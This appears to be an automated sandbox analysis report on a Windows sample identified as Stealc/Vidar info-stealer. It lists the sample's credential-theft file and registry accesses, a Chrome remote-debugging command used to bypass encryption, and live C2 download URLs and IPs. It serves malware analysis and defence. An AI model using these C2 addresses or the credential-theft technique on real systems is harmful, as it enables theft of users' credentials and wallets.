Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 3796, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2178367888.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2693156875.0000000000FD1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2688050453.000000000084E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3796, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3796, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	112 Process Injection	3 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.206/c4becf79229cb002.php~U	100%	Avira URL Cloud	malware
http://185.215.113.2060	0%	Avira URL Cloud	safe
http://185.215.113.16/mine/random.exe9b	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exeer	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe8	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe3	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe0623847g	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exeem32	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/mozglue.dll-	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe5062384ed?pE	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/freebl3.dllu	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exeJSE;.	0%	Avira URL Cloud	safe
http://31.41.244.11//Zu7JuNko/index.php	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/nss3.dllSagl	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpKEGDBF.exeata;	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exephp-p3	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe1009152001	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.57	true	false	high
www.google.com	142.250.181.100	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
googlehosted.l.googleusercontent.com	172.217.19.225	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
deff.nelreports.net	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://c.msn.com/c.gif?rnd=1732581705995&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=e28f39e28eb142bdaa5545b112f458fa&activityId=e28f39e28eb142bdaa5545b112f458fa&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=2A6B96A97C4E4072A602F53B40E2433F&MUID=3553E294F9366CAE0604F7D7F89E6D7D	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239351692182_1I6V30R2J66NF61KL&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732581712790&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://deff.nelreports.net/api/report?cat=msn	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239400772016_15QVOA8CAZLQ6LFE4&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239400770824_1KWY1ODV8FNLB48KP&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732581705993&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239389015249_1YG5WL97CZWWEQABD&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://bzib.nelreports.net/api/report?cat=bingbusiness	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://sb.scorecardresearch.com/b2?rn=1732581705996&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3553E294F9366CAE0604F7D7F89E6D7D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732581713710&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732581712788&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732581710303&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high
https://sb.scorecardresearch.com/b?rn=1732581705996&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3553E294F9366CAE0604F7D7F89E6D7D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
https://www.google.com/async/newtab_promos	false	high
https://www.google.com/async/ddljson?async=ntp:2	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732581713789&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239351692183_1GSWAYG616F8PFDNZ&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2378506202.0000000000920000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2469452156.000000002334E000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, FCGCGDHJ.0.dr, GIIEGHID.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php~U	file.exe, 00000000.00000002.2725996776.00000000233B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.2060	file.exe, 00000000.00000002.2688050453.000000000084E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2378506202.0000000000920000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2469452156.000000002334E000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, FCGCGDHJ.0.dr, GIIEGHID.0.dr	false		high
http://www.broofa.com	chromecache_386.9.dr	false		high
http://31.41.244.11/files/random.exeer	skotes.exe, 00000025.00000002.3428213160.0000000000D79000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ntp.msn.com/0	000003.log10.16.dr	false		high
https://ntp.msn.com/_default	QuotaManager.16.dr	false		high
http://185.215.113.16/mine/random.exe9b	file.exe, 00000000.00000002.2688050453.00000000008A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/random.exe8	skotes.exe, 00000025.00000002.3428213160.0000000000D79000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://deff.nelreports.net/api/report	Reporting and NEL.17.dr	false		high
http://31.41.244.11/files/random.exe3	skotes.exe, 00000025.00000002.3428213160.0000000000D79000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/	manifest.json0.16.dr	false		high
http://31.41.244.11/files/random.exe0623847g	skotes.exe, 00000025.00000002.3428213160.0000000000D79000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/	skotes.exe, 00000025.00000002.3428213160.0000000000D58000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exeem32	skotes.exe, 00000025.00000002.3428213160.0000000000D4A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/mozglue.dll-	file.exe, 00000000.00000002.2688050453.00000000008A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.17.dr	false		high
http://31.41.244.11/files/random.exe5062384ed?pE	skotes.exe, 00000025.00000002.3428213160.0000000000D79000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	manifest.json0.16.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.16.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.16.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	BAAFCAFCBKFHJJJKKFHI.0.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.16.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.16.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2378506202.0000000000920000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2469452156.000000002334E000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, FCGCGDHJ.0.dr, GIIEGHID.0.dr	false		high
https://assets.msn.com	994ce47e-5b82-444d-adf5-75cc29e21265.tmp.17.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2378506202.0000000000920000.00000004.00000020.00020000.00000000.sdmp, GIIEGHID.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.16.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	JEGDGIIJJECFIDHJJKKFCAECFH.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllu	file.exe, 00000000.00000002.2688050453.00000000008A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206ngineer	file.exe, 00000000.00000002.2693156875.0000000001137000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.16.dr	false		high
http://31.41.244.11/files/random.exeJSE;.	skotes.exe, 00000025.00000002.3428213160.0000000000D79000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11//Zu7JuNko/index.php	skotes.exe, 00000025.00000002.3428213160.0000000000D58000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.php9	file.exe, 00000000.00000002.2688050453.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_386.9.dr	false		high
http://31.41.244.11/215.113.43/Zu7JuNko/index.php	skotes.exe, 00000025.00000002.3428213160.0000000000D58000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/chrome	content.js.16.dr, content_new.js.16.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	JEGDGIIJJECFIDHJJKKFCAECFH.0.dr	false		high
https://chromewebstore.google.com/	manifest.json.16.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.16.dr	false		high
https://msn.comXIDv10	Cookies.17.dr	false		high
http://31.41.244.11/files/random.exe	skotes.exe, 00000025.00000002.3428213160.0000000000D58000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000025.00000002.3428213160.0000000000D79000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000025.00000002.3428213160.0000000000D4A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore/	manifest.json.16.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.16.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2725996776.00000000233A3000.00000004.00000020.00020000.00000000.sdmp, BAAFCAFCBKFHJJJKKFHI.0.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2378506202.0000000000920000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2469452156.000000002334E000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, FCGCGDHJ.0.dr, GIIEGHID.0.dr	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000002.2725996776.00000000233A3000.00000004.00000020.00020000.00000000.sdmp, BAAFCAFCBKFHJJJKKFHI.0.dr	false		high
https://ntp.msn.com	2cc80dabc69f58b6_0.16.dr	false		high
https://drive-staging.corp.google.com/	manifest.json0.16.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllSagl	file.exe, 00000000.00000002.2688050453.00000000008A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2378506202.0000000000920000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2469452156.000000002334E000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, FCGCGDHJ.0.dr, GIIEGHID.0.dr	false		high
https://apis.google.com	chromecache_386.9.dr	false		high
https://ntp.msn.com/	000003.log10.16.dr, 000003.log1.16.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpKEGDBF.exeata;	file.exe, 00000000.00000002.2693156875.0000000001137000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2722760684.000000001D23A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2734748136.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start	Session_13377055292047558.16.dr	false		high
https://ntp.msn.com/ntp.msn.com_default	QuotaManager.16.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2378506202.0000000000920000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2469452156.000000002334E000.00000004.00000020.00020000.00000000.sdmp, Web Data.16.dr, FCGCGDHJ.0.dr, GIIEGHID.0.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000002.2725996776.00000000233A3000.00000004.00000020.00020000.00000000.sdmp, BAAFCAFCBKFHJJJKKFHI.0.dr	false		high
https://drive-autopush.corp.google.com/	manifest.json0.16.dr	false		high
https://ntp.msn.comService-Worker-Allowed:	2cc80dabc69f58b6_0.16.dr	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000002.2725996776.00000000233A3000.00000004.00000020.00020000.00000000.sdmp, BAAFCAFCBKFHJJJKKFHI.0.dr	false		high
http://31.41.244.11/files/random.exephp-p3	skotes.exe, 00000025.00000002.3428213160.0000000000D79000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2378506202.0000000000920000.00000004.00000020.00020000.00000000.sdmp, GIIEGHID.0.dr	false		high
http://31.41.244.11/files/random.exe1009152001	skotes.exe, 00000025.00000002.3428213160.0000000000D79000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.57.90.133	unknown	United States	35994	AKAMAI-ASUS	false
172.217.19.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
18.165.220.57	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.117.182.56	unknown	United States	20940	AKAMAI-ASN1EU	false
23.57.90.70	unknown	United States	35994	AKAMAI-ASUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.75.60.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.168.117.168	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.57.90.78	unknown	United States	35994	AKAMAI-ASUS	false
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.57.90.156	unknown	United States	35994	AKAMAI-ASUS	false
13.226.94.67	unknown	United States	16509	AMAZON-02US	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
23.209.72.8	unknown	United States	20940	AKAMAI-ASN1EU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
23.44.201.13	unknown	United States	20940	AKAMAI-ASN1EU	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562781
Start date and time:	2024-11-26 01:40:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	38
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@76/295@28/28
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
